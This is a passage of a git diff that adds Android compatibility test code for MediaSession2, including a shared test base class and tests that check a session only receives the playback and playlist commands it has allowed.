+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for session test.
+ */
+abstract class MediaSession2TestBase {
+    // Expected success
+    static final int WAIT_TIME_MS = 1000;
+
+    // Expected timeout
+    static final int TIMEOUT_MS = 500;
+
+    static TestUtils.SyncHandler sHandler;
+    static Executor sHandlerExecutor;
+
+    Context mContext;
+    private List<MediaController2> mControllers = new ArrayList<>();
+
+    interface TestControllerInterface {
+        ControllerCallback getCallback();
+    }
+
+    interface WaitForConnectionInterface {
+        void waitForConnect(boolean expect) throws InterruptedException;
+        void waitForDisconnect(boolean expect) throws InterruptedException;
+    }
+
+    @BeforeClass
+    public static void setUpThread() {
+        if (sHandler == null) {
+            HandlerThread handlerThread = new HandlerThread("MediaSession2TestBase");
+            handlerThread.start();
+            sHandler = new TestUtils.SyncHandler(handlerThread.getLooper());
+            sHandlerExecutor = (runnable) -> {
+                sHandler.post(runnable);
+            };
+        }
+    }
+
+    @AfterClass
+    public static void cleanUpThread() {
+        if (sHandler != null) {
+            sHandler.getLooper().quitSafely();
+            sHandler = null;
+            sHandlerExecutor = null;
+        }
+    }
+
+    @CallSuper
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @CallSuper
+    public void cleanUp() throws Exception {
+        for (int i = 0; i < mControllers.size(); i++) {
+            mControllers.get(i).close();
+        }
+    }
+
+    final MediaController2 createController(SessionToken2 token) throws InterruptedException {
+        return createController(token, true, null);
+    }
+
+    final MediaController2 createController(@NonNull SessionToken2 token,
+            boolean waitForConnect, @Nullable ControllerCallback callback)
+            throws InterruptedException {
+        TestControllerInterface instance = onCreateController(token, callback);
+        if (!(instance instanceof MediaController2)) {
+            throw new RuntimeException("Test has a bug. Expected MediaController2 but returned "
+                    + instance);
+        }
+        MediaController2 controller = (MediaController2) instance;
+        mControllers.add(controller);
+        if (waitForConnect) {
+            waitForConnect(controller, true);
+        }
+        return controller;
+    }
+
+    private static WaitForConnectionInterface getWaitForConnectionInterface(
+            MediaController2 controller) {
+        if (!(controller instanceof TestControllerInterface)) {
+            throw new RuntimeException("Test has a bug. Expected controller implemented"
+                    + " TestControllerInterface but got " + controller);
+        }
+        ControllerCallback callback = ((TestControllerInterface) controller).getCallback();
+        if (!(callback instanceof WaitForConnectionInterface)) {
+            throw new RuntimeException("Test has a bug. Expected controller with callback "
+                    + " implemented WaitForConnectionInterface but got " + controller);
+        }
+        return (WaitForConnectionInterface) callback;
+    }
+
+    public static void waitForConnect(MediaController2 controller, boolean expected)
+            throws InterruptedException {
+        getWaitForConnectionInterface(controller).waitForConnect(expected);
+    }
+
+    public static void waitForDisconnect(MediaController2 controller, boolean expected)
+            throws InterruptedException {
+        getWaitForConnectionInterface(controller).waitForDisconnect(expected);
+    }
+
+    TestControllerInterface onCreateController(@NonNull SessionToken2 token,
+            @Nullable ControllerCallback callback) {
+        if (callback == null) {
+            callback = new ControllerCallback() {};
+        }
+        return new TestMediaController(mContext, token, new TestControllerCallback(callback));
+    }
+
+    // TODO(jaewan): (Can be Post-P): Deprecate this
+    public static class TestControllerCallback extends MediaController2.ControllerCallback
+            implements WaitForConnectionInterface {
+        public final ControllerCallback mCallbackProxy;
+        public final CountDownLatch connectLatch = new CountDownLatch(1);
+        public final CountDownLatch disconnectLatch = new CountDownLatch(1);
+
+        TestControllerCallback(@NonNull ControllerCallback callbackProxy) {
+            if (callbackProxy == null) {
+                throw new IllegalArgumentException("Callback proxy shouldn't be null. Test bug");
+            }
+            mCallbackProxy = callbackProxy;
+        }
+
+        @CallSuper
+        @Override
+        public void onConnected(MediaController2 controller, SessionCommandGroup2 commands) {
+            connectLatch.countDown();
+        }
+
+        @CallSuper
+        @Override
+        public void onDisconnected(MediaController2 controller) {
+            disconnectLatch.countDown();
+        }
+
+        @Override
+        public void waitForConnect(boolean expect) throws InterruptedException {
+            if (expect) {
+                assertTrue(connectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            } else {
+                assertFalse(connectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+
+        @Override
+        public void waitForDisconnect(boolean expect) throws InterruptedException {
+            if (expect) {
+                assertTrue(disconnectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            } else {
+                assertFalse(disconnectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+
+        @Override
+        public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+                Bundle args, ResultReceiver receiver) {
+            mCallbackProxy.onCustomCommand(controller, command, args, receiver);
+        }
+
+        @Override
+        public void onPlaybackInfoChanged(MediaController2 controller,
+                MediaController2.PlaybackInfo info) {
+            mCallbackProxy.onPlaybackInfoChanged(controller, info);
+        }
+
+        @Override
+        public void onCustomLayoutChanged(MediaController2 controller, List<CommandButton> layout) {
+            mCallbackProxy.onCustomLayoutChanged(controller, layout);
+        }
+
+        @Override
+        public void onAllowedCommandsChanged(MediaController2 controller,
+                SessionCommandGroup2 commands) {
+            mCallbackProxy.onAllowedCommandsChanged(controller, commands);
+        }
+
+        @Override
+        public void onPlayerStateChanged(MediaController2 controller, int state) {
+            mCallbackProxy.onPlayerStateChanged(controller, state);
+        }
+
+        @Override
+        public void onSeekCompleted(MediaController2 controller, long position) {
+            mCallbackProxy.onSeekCompleted(controller, position);
+        }
+
+        @Override
+        public void onPlaybackSpeedChanged(MediaController2 controller, float speed) {
+            mCallbackProxy.onPlaybackSpeedChanged(controller, speed);
+        }
+
+        @Override
+        public void onBufferingStateChanged(MediaController2 controller, MediaItem2 item,
+                int state) {
+            mCallbackProxy.onBufferingStateChanged(controller, item, state);
+        }
+
+        @Override
+        public void onError(MediaController2 controller, int errorCode, Bundle extras) {
+            mCallbackProxy.onError(controller, errorCode, extras);
+        }
+
+        @Override
+        public void onCurrentMediaItemChanged(MediaController2 controller, MediaItem2 item) {
+            mCallbackProxy.onCurrentMediaItemChanged(controller, item);
+        }
+
+        @Override
+        public void onPlaylistChanged(MediaController2 controller,
+                List<MediaItem2> list, MediaMetadata2 metadata) {
+            mCallbackProxy.onPlaylistChanged(controller, list, metadata);
+        }
+
+        @Override
+        public void onPlaylistMetadataChanged(MediaController2 controller,
+                MediaMetadata2 metadata) {
+            mCallbackProxy.onPlaylistMetadataChanged(controller, metadata);
+        }
+
+        @Override
+        public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+            mCallbackProxy.onShuffleModeChanged(controller, shuffleMode);
+        }
+
+        @Override
+        public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+            mCallbackProxy.onRepeatModeChanged(controller, repeatMode);
+        }
+    }
+
+    public class TestMediaController extends MediaController2 implements TestControllerInterface {
+        private final ControllerCallback mCallback;
+
+        public TestMediaController(@NonNull Context context, @NonNull SessionToken2 token,
+                @NonNull ControllerCallback callback) {
+            super(context, token, sHandlerExecutor, callback);
+            mCallback = callback;
+        }
+
+        @Override
+        public ControllerCallback getCallback() {
+            return mCallback;
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
new file mode 100644
index 0000000..91dc369
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
@@ -0,0 +1,545 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.MediaSession2.ControllerInfo;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_SEEK_TO;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_STOP;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_ADD_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REMOVE_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REPLACE_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST_METADATA;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_FAST_FORWARD;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_SEARCH;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_URI;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_URI;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_REWIND;
+import static android.media.SessionCommand2.COMMAND_CODE_SET_VOLUME;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.annotation.NonNull;
+import android.media.MediaController2;
+import android.media.MediaItem2;
+import android.media.MediaSession2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests whether {@link MediaSession2} receives commands that hasn't allowed.
+ */
+@RunWith(AndroidJUnit4.class)
+@MediumTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSession2_PermissionTest extends MediaSession2TestBase {
+    private static final String SESSION_ID = "MediaSession2Test_permission";
+
+    private MockPlayer mPlayer;
+    private MediaSession2 mSession;
+    private MySessionCallback mCallback;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @After
+    @Override
+    public void cleanUp() throws Exception {
+        super.cleanUp();
+        if (mSession != null) {
+            mSession.close();
+            mSession = null;
+        }
+        mPlayer = null;
+        mCallback = null;
+    }
+
+    private MediaSession2 createSessionWithAllowedActions(final SessionCommandGroup2 commands) {
+        mPlayer = new MockPlayer(0);
+        mCallback = new MySessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(MediaSession2 session,
+                    ControllerInfo controller) {
+                if (Process.myUid() != controller.getUid()) {
+                    return null;
+                }
+                return commands == null ? new SessionCommandGroup2() : commands;
+            }
+        };
+        if (mSession != null) {
+            mSession.close();
+        }
+        mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer).setId(SESSION_ID)
+                .setSessionCallback(sHandlerExecutor, mCallback).build();
+        return mSession;
+    }
+
+    private SessionCommandGroup2 createCommandGroupWith(int commandCode) {
+        SessionCommandGroup2 commands = new SessionCommandGroup2();
+        commands.addCommand(new SessionCommand2(commandCode));
+        return commands;
+    }
+
+    private SessionCommandGroup2 createCommandGroupWithout(int commandCode) {
+        SessionCommandGroup2 commands = new SessionCommandGroup2();
+        commands.addAllPredefinedCommands();
+        commands.removeCommand(new SessionCommand2(commandCode));
+        return commands;
+    }
+
+    private void testOnCommandRequest(int commandCode, PermissionTestRunnable runnable)
+            throws InterruptedException {
+        createSessionWithAllowedActions(createCommandGroupWith(commandCode));
+        runnable.run(createController(mSession.getToken()));
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnCommandRequestCalled);
+        assertEquals(commandCode, mCallback.mCommand.getCommandCode());
+
+        createSessionWithAllowedActions(createCommandGroupWithout(commandCode));
+        runnable.run(createController(mSession.getToken()));
+
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnCommandRequestCalled);
+    }
+
+    @Test
+    public void testPlay() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYBACK_PLAY, (controller) -> {
+            controller.play();
+        });
+    }
+
+    @Test
+    public void testPause() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYBACK_PAUSE, (controller) -> {
+            controller.pause();
+        });
+    }
+
+    @Test
+    public void testStop() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYBACK_STOP, (controller) -> {
+            controller.stop();
+        });
+    }
+
+    @Test
+    public void testFastForward() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_SESSION_FAST_FORWARD, (controller) -> {
+            controller.fastForward();
+        });
+    }
+
+    @Test
+    public void testRewind() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_SESSION_REWIND, (controller) -> {
+            controller.rewind();
+        });
+    }
+
+    @Test
+    public void testSeekTo() throws InterruptedException {
+        final long position = 10;
+        testOnCommandRequest(COMMAND_CODE_PLAYBACK_SEEK_TO, (controller) -> {
+            controller.seekTo(position);
+        });
+    }
+
+    @Test
+    public void testSkipToNext() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM, (controller) -> {
+            controller.skipToNextItem();
+        });
+    }
+
+    @Test
+    public void testSkipToPrevious() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM, (controller) -> {
+            controller.skipToPreviousItem();
+        });
+    }
+
+    @Test
+    public void testSkipToPlaylistItem() throws InterruptedException {
+        MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM, (controller) -> {
+            controller.skipToPlaylistItem(testItem);
+        });
+    }
+
+    @Test
+    public void testSetPlaylist() throws InterruptedException {
+        List<MediaItem2> list = TestUtils.createPlaylist(2);
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST, (controller) -> {
+            controller.setPlaylist(list, null);
+        });
+    }
+
+    @Test
+    public void testUpdatePlaylistMetadata() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST_METADATA, (controller) -> {
+            controller.updatePlaylistMetadata(null);
+        });
+    }
+
+    @Test
+    public void testAddPlaylistItem() throws InterruptedException {
+        MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_ADD_ITEM, (controller) -> {
+            controller.addPlaylistItem(0, testItem);
+        });
+    }
+
+    @Test
+    public void testRemovePlaylistItem() throws InterruptedException {
+        MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_REMOVE_ITEM, (controller) -> {
+            controller.removePlaylistItem(testItem);
+        });
+    }
+
+    @Test
+    public void testReplacePlaylistItem() throws InterruptedException {
+        MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_REPLACE_ITEM, (controller) -> {
+            controller.replacePlaylistItem(0, testItem);
+        });
+    }
+
+    @Test
+    public void testSetVolume() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_SET_VOLUME, (controller) -> {
+            controller.setVolumeTo(0, 0);
+        });
+    }
+
+    @Test
+    public void testPlayFromMediaId() throws InterruptedException {
+        final String mediaId = "testPlayFromMediaId";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID));
+        createController(mSession.getToken()).playFromMediaId(mediaId, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPlayFromMediaIdCalled);
+        assertEquals(mediaId, mCallback.mMediaId);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID));
+        createController(mSession.getToken()).playFromMediaId(mediaId, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPlayFromMediaIdCalled);
+    }
+
+    @Test
+    public void testPlayFromUri() throws InterruptedException {
+        final Uri uri = Uri.parse("play://from.uri");
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_URI));
+        createController(mSession.getToken()).playFromUri(uri, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPlayFromUriCalled);
+        assertEquals(uri, mCallback.mUri);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_URI));
+        createController(mSession.getToken()).playFromUri(uri, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPlayFromUriCalled);
+    }
+
+    @Test
+    public void testPlayFromSearch() throws InterruptedException {
+        final String query = "testPlayFromSearch";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_SEARCH));
+        createController(mSession.getToken()).playFromSearch(query, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPlayFromSearchCalled);
+        assertEquals(query, mCallback.mQuery);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_SEARCH));
+        createController(mSession.getToken()).playFromSearch(query, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPlayFromSearchCalled);
+    }
+
+    @Test
+    public void testPrepareFromMediaId() throws InterruptedException {
+        final String mediaId = "testPrepareFromMediaId";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID));
+        createController(mSession.getToken()).prepareFromMediaId(mediaId, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPrepareFromMediaIdCalled);
+        assertEquals(mediaId, mCallback.mMediaId);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID));
+        createController(mSession.getToken()).prepareFromMediaId(mediaId, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPrepareFromMediaIdCalled);
+    }
+
+    @Test
+    public void testPrepareFromUri() throws InterruptedException {
+        final Uri uri = Uri.parse("prepare://from.uri");
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_URI));
+        createController(mSession.getToken()).prepareFromUri(uri, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPrepareFromUriCalled);
+        assertEquals(uri, mCallback.mUri);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_URI));
+        createController(mSession.getToken()).prepareFromUri(uri, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPrepareFromUriCalled);
+    }
+
+    @Test
+    public void testPrepareFromSearch() throws InterruptedException {
+        final String query = "testPrepareFromSearch";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+        createController(mSession.getToken()).prepareFromSearch(query, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPrepareFromSearchCalled);
+        assertEquals(query, mCallback.mQuery);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+        createController(mSession.getToken()).prepareFromSearch(query, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPrepareFromSearchCalled);
+    }
+
+    @Test
+    public void testChangingPermissionWithSetAllowedCommands() throws InterruptedException {
+        final String query = "testChangingPermissionWithSetAllowedCommands";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+
+        ControllerCallbackForPermissionChange controllerCallback =
+                new ControllerCallbackForPermissionChange();
+        MediaController2 controller =
+                createController(mSession.getToken(), true, controllerCallback);
+
+        controller.prepareFromSearch(query, null);
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPrepareFromSearchCalled);
+        assertEquals(query, mCallback.mQuery);
+        assertNull(mCallback.mExtras);
+        mCallback.reset();
+
+        // Change allowed commands.
+        mSession.setAllowedCommands(getTestControllerInfo(),
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+        assertTrue(controllerCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        controller.prepareFromSearch(query, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    private ControllerInfo getTestControllerInfo() {
+        List<ControllerInfo> controllers = mSession.getConnectedControllers();
+        assertNotNull(controllers);
+        for (int i = 0; i < controllers.size(); i++) {
+            if (Process.myUid() == controllers.get(i).getUid()) {
+                return controllers.get(i);
+            }
+        }
+        fail("Failed to get test controller info");
+        return null;
+    }
+
+    @FunctionalInterface
+    private interface PermissionTestRunnable {
+        void run(@NonNull MediaController2 controller);
+    }
+
+    public class MySessionCallback extends MediaSession2.SessionCallback {
+        public CountDownLatch mCountDownLatch;
+
+        public SessionCommand2 mCommand;
+        public String mMediaId;
+        public String mQuery;
+        public Uri mUri;
+        public Bundle mExtras;
+
+        public boolean mOnCommandRequestCalled;
+        public boolean mOnPlayFromMediaIdCalled;
+        public boolean mOnPlayFromSearchCalled;
+        public boolean mOnPlayFromUriCalled;
+        public boolean mOnPrepareFromMediaIdCalled;
+        public boolean mOnPrepareFromSearchCalled;
+        public boolean mOnPrepareFromUriCalled;
+
+
+        public MySessionCallback() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        public void reset() {
+            mCountDownLatch = new CountDownLatch(1);
+
+            mCommand = null;
+            mMediaId = null;
+            mQuery = null;
+            mUri = null;
+            mExtras = null;
+
+            mOnCommandRequestCalled = false;
+            mOnPlayFromMediaIdCalled = false;
+            mOnPlayFromSearchCalled = false;
+            mOnPlayFromUriCalled = false;
+            mOnPrepareFromMediaIdCalled = false;
+            mOnPrepareFromSearchCalled = false;
+            mOnPrepareFromUriCalled = false;
+        }
+
+        @Override
+        public boolean onCommandRequest(MediaSession2 session, ControllerInfo controller,
+                SessionCommand2 command) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnCommandRequestCalled = true;
+            mCommand = command;
+            mCountDownLatch.countDown();
+            return super.onCommandRequest(session, controller, command);
+        }
+
+        @Override
+        public void onPlayFromMediaId(MediaSession2 session, ControllerInfo controller,
+                String mediaId, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPlayFromMediaIdCalled = true;
+            mMediaId = mediaId;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPlayFromSearch(MediaSession2 session, ControllerInfo controller,
+                String query, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPlayFromSearchCalled = true;
+            mQuery = query;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPlayFromUri(MediaSession2 session, ControllerInfo controller,
+                Uri uri, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPlayFromUriCalled = true;
+            mUri = uri;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPrepareFromMediaId(MediaSession2 session, ControllerInfo controller,
+                String mediaId, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPrepareFromMediaIdCalled = true;
+            mMediaId = mediaId;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPrepareFromSearch(MediaSession2 session, ControllerInfo controller,
+                String query, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPrepareFromSearchCalled = true;
+            mQuery = query;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPrepareFromUri(MediaSession2 session, ControllerInfo controller,
+                Uri uri, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPrepareFromUriCalled = true;
+            mUri = uri;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        // TODO(jaewan): Add permission test for setRating()
+    }
+
+    public class ControllerCallbackForPermissionChange extends MediaController2.ControllerCallback {
+        public CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+        @Override
+        public void onAllowedCommandsChanged(MediaController2 controller,
+                SessionCommandGroup2 commands) {
+            mCountDownLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
new file mode 100644
index 0000000..8fad77a
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
@@ -0,0 +1,339 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.media.MediaController2;
+import android.media.MediaPlayerBase;
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.media.session.MediaSessionManager;
+import android.media.session.MediaSessionManager.OnSessionTokensChangedListener;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaSessionManager} with {@link MediaSession2} specific APIs.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSessionManager_MediaSession2Test extends MediaSession2TestBase {
+    private static final String TAG = "MediaSessionManager_MediaSession2Test";
+
+    private MediaSessionManager mManager;
+    private MediaSession2 mSession;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mManager = (MediaSessionManager) mContext.getSystemService(Context.MEDIA_SESSION_SERVICE);
+
+        // Specify TAG here so {@link MediaSession2.getInstance()} doesn't complaint about
+        // per test thread differs across the {@link MediaSession2} with the same TAG.
+        final MockPlayer player = new MockPlayer(1);
+        mSession = new MediaSession2.Builder(mContext)
+                .setPlayer(player)
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() { })
+                .setId(TAG)
+                .build();
+    }
+
+    @After
+    @Override
+    public void cleanUp() throws Exception {
+        super.cleanUp();
